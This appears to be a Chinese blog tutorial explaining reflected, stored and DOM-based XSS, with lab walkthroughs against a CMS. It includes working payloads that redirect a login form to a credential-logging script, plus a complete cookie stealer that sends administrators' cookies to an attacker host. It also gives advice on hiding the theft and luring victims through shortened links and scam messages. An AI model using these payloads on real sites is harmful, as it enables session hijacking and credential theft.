XSS注入


前言

本篇文章详细讲解XSS漏洞及其原理,以及常见的XSS漏洞利用和一些防范手段。同时最后会通过对特定靶场环境进行手工的XSS漏洞的注入,以便加深对XSS漏洞的熟悉与理解。


一、XSS是什么?

xss全称为Cross Site Script,即跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheet)混淆,因此简称为XSS。最初的XSS演示是跨域的,因此被称之为跨站脚本攻击,但随着JavaScript的强大功能以及前端网页逐渐复杂化,跨不跨域已经不重要,但是这个名称还是保留了下来。

xss本质上是黑客通过对网页的HTML注入,篡改了原本服务器发给客户端的数据包,在其中插入了恶意脚本,从而在用户浏览网页的时候控制用户的一种攻击。xss长期因此被称为客户端Web安全的头号大敌,因为xss破坏力强大,产生情景复杂,一年才针对不同场景产生的xss漏洞,应该区分情景对待。

二、XSS的大致分类与利用思路

1.反射型

反射型xss的意思是说,攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。所以黑客往往需要诱使用户“点击”恶意链接才能攻击成功。因此反射型xss也被称之为非持久性xss。

2.存储型

存储型xss是指像留言板、用户名称等一些会存储在服务器端的信息,当攻击者在存在xss漏洞的留言板处进行注入之后,任何浏览器端加载该信息的时候都会将其中的恶意代码解析,进而触发xss攻击。该方法甚至可以在管理员审核留言时触发,进而造成管理员敏感信息的泄露。因为其存储在服务器端,因此造成的危险程度、攻击范围比反射型更大更广。

3.DOM型

DOM型xss是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss,后来便单独分成了一类。

三、不同类型的XSS漏洞注入演示

1.反射型xss

进入靶场,输入测试,发现页面直接拼接了我们输入的内容,只要我们能够使得窗口弹窗就可以通关
在这里插入图片描述
准备尝试闭合标签,构造payload
经过尝试之后我们发现一些特殊的关键字都会被过滤掉,例如script,因此根据提示我们采取闭合后端(服务器端)处理数据用的单引号,采用事件弹窗的方式注入。

因此我们构造payload:
’ οnmοuseοver=alert() ><a

最终显示拼接成功并且正确使浏览器弹窗
在这里插入图片描述
这样我们就通过注入使得服务器将我们输入的内容当成代码进行执行,这就是一般类型的反射型xss。

2.存储型xss

现在一直某cms文章管理系统的留言板存在xss漏洞,现在我们通过构造代码进行注入
在这里插入图片描述
接下来我们模拟管理员登录改文章管理系统的后台进行浏览审核用户的留言,发现触发xss弹窗,查看源代码我们发现用户输入的信息被嵌入在了html里面被浏览器解析执行了(弹窗的时候没有字是因为加载顺序的关系,关闭弹窗payload里面的文字就正常显示了)。
在这里插入图片描述
这是用于迷惑的留言。
在这里插入图片描述
查看当前网页的源码信息,发现我们构造的payload已经成功被嵌入解析。
在这里插入图片描述
当管理员审核通过之后,任何浏览到该留言内容的人都会同样解析执行我们注入的payload的,所以相比于反射型的xss来说,存储型的xss危害更大,影响范围最大。

3.DOM型xss

已知某CMS文章管理系统的后台管理员登录页面存在xss漏洞,现准备测试注入,掉包原本页面内“忘记密码”的链接。我们首先在攻击者的www目录下创建模拟的钓鱼网页,
在这里插入图片描述测试访问,发现没有问题
在这里插入图片描述
构造语句通过javascript脚本语言,修改网页的“忘记密码”处的链接为我们设置好的钓鱼链接。

http://192.168.159.156/admin/login.php?username="/><script>alert("ssss");document.getElementsByTagName("body")[0].οnlοad=function changeLink(){document.getElementById("myId").href="http://192.168.1.101/xsstest/fish.html"} </script> <a  href=

PS:function和changeLink之间有一个空格,这样我们就把页面上原本的“忘记密码”处的密码改成了攻击者设置好的链接。
注入成功,网页的链接地址被改写:
在这里插入图片描述
可能有人会问:你这样改也只是攻击者本人自己在改,更改后的网页并不会被别人接触到,是的,这就是反射型xss漏洞的特点,需要将改动后的URL(上述URL)利用一些工具生成短连接,然后通过诈骗短信类似的方式发送给受害者,等待受害者自己去点击这个链接之后才会触发攻击,后续可以结合CSRF漏洞进一步制作钓鱼网站。这里仅演示DOM型XSS的注入。

三、XSS漏洞实战

1.制作钓鱼网站获得用户的用户名和密码

大致思路和刚才的DOM型注入类似,我们还是通过网页注入修改原有网页的DOM,使得form表单的action指向攻击者网站下的某个脚本。
首先先在攻击者的网站根目录下创建接收用户名和密码的php脚本如下:
在这里插入图片描述

上述代码中因为盗取用户敏感信息之后不应让用户察觉,因此后续代码可以帮用户使用已有代码进行登录,这样用户就不会察觉到自己的信息已经泄露。这里为了简单,就只重定向原来的登录界面,让用户误以为是系统bug,再输一遍账户密码登录就是了。
为了确保准确性,可以先本地测试访问一下:
在这里插入图片描述
发现可以正常访问,因为最后的JavaScript的重定向已执行。
接下来急需要根据需要注入我们构造好的payload:

http://192.168.159.156/admin/login.php?username="/><script>document.getElementById("myform").action="http://192.168.1.101/xsstest/getinfo.php" </script> <a  href=

在这里插入图片描述
但是这个链接太长了,而且一看就是图摸不轨的URL,所以我们使用将其转化为短连接:
在这里插入图片描述
访问生成的短连接,并输入测试的账号:admin密码:admin
在这里插入图片描述
在攻击者的网站下生成了对应的passwd.txt,获取了用户的账户密码信息。
在这里插入图片描述
这样我们就通过钓鱼的方式获取了用户的账号密码,当然这只是大致原理,真正情况下还要进行网站的防范测试、进行绕过。

2.获取管理员的cookie

接下来我们再来看最后一个实验场景,获取CMS后台管理员的cookie,经过前面的测试我们知道在该CMS文章系统前台的留言板存在xss漏洞,因此我们可以通过存储型的xss注入,利用JavaScript获取cookie再传送到我们自己的网站底下。

好了有了大致思路之后我们就开始搞,首先我们还是明确我们的攻击思路,首先在前端留言板构造payload,保险起见,我们不带有攻击性的代码,仅仅远程调用我们(攻击者网站下的脚本),所以我们先写好相应的脚本文件:

getcookie.js:

function getcookie(){
	var url="http://192.168.1.101/xsstest/getcookie.php";
	var data = "cookie="+document.cookie;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST",url);
	xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	//content-type:表名内容类型,决定浏览器以什么形式进行编码读取这个文件。
	//application/x-www-form-urlencoded:最常见的POST提交数据的方式
	xmlhttp.send(data);
}
getcookie();

getcookie.php:

<?php
	$cookie=@$_POST['cookie'];
	file_put_contents("cookie.txt", $cookie."n",FILE_APPEND);
?>

在CMS文章系统的留言板注入代码:

<script src="http://192.168.1.101/xsstest/getcookie.js"></script>

如图:
在这里插入图片描述
然后我们模拟管理员在后台审核留言板的内容,触发xss攻击:
在这里插入图片描述
最终拿到管理员的cookie:
在这里插入图片描述
这样我们获得了CMS文章管理系统后台管理员的cookie。


总结

以上就是关于XSS漏洞的全部内容,之后有时间我还会更新关于CSRF与XSS联合使用制作钓鱼网站的内容,欢迎关注交流学习。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>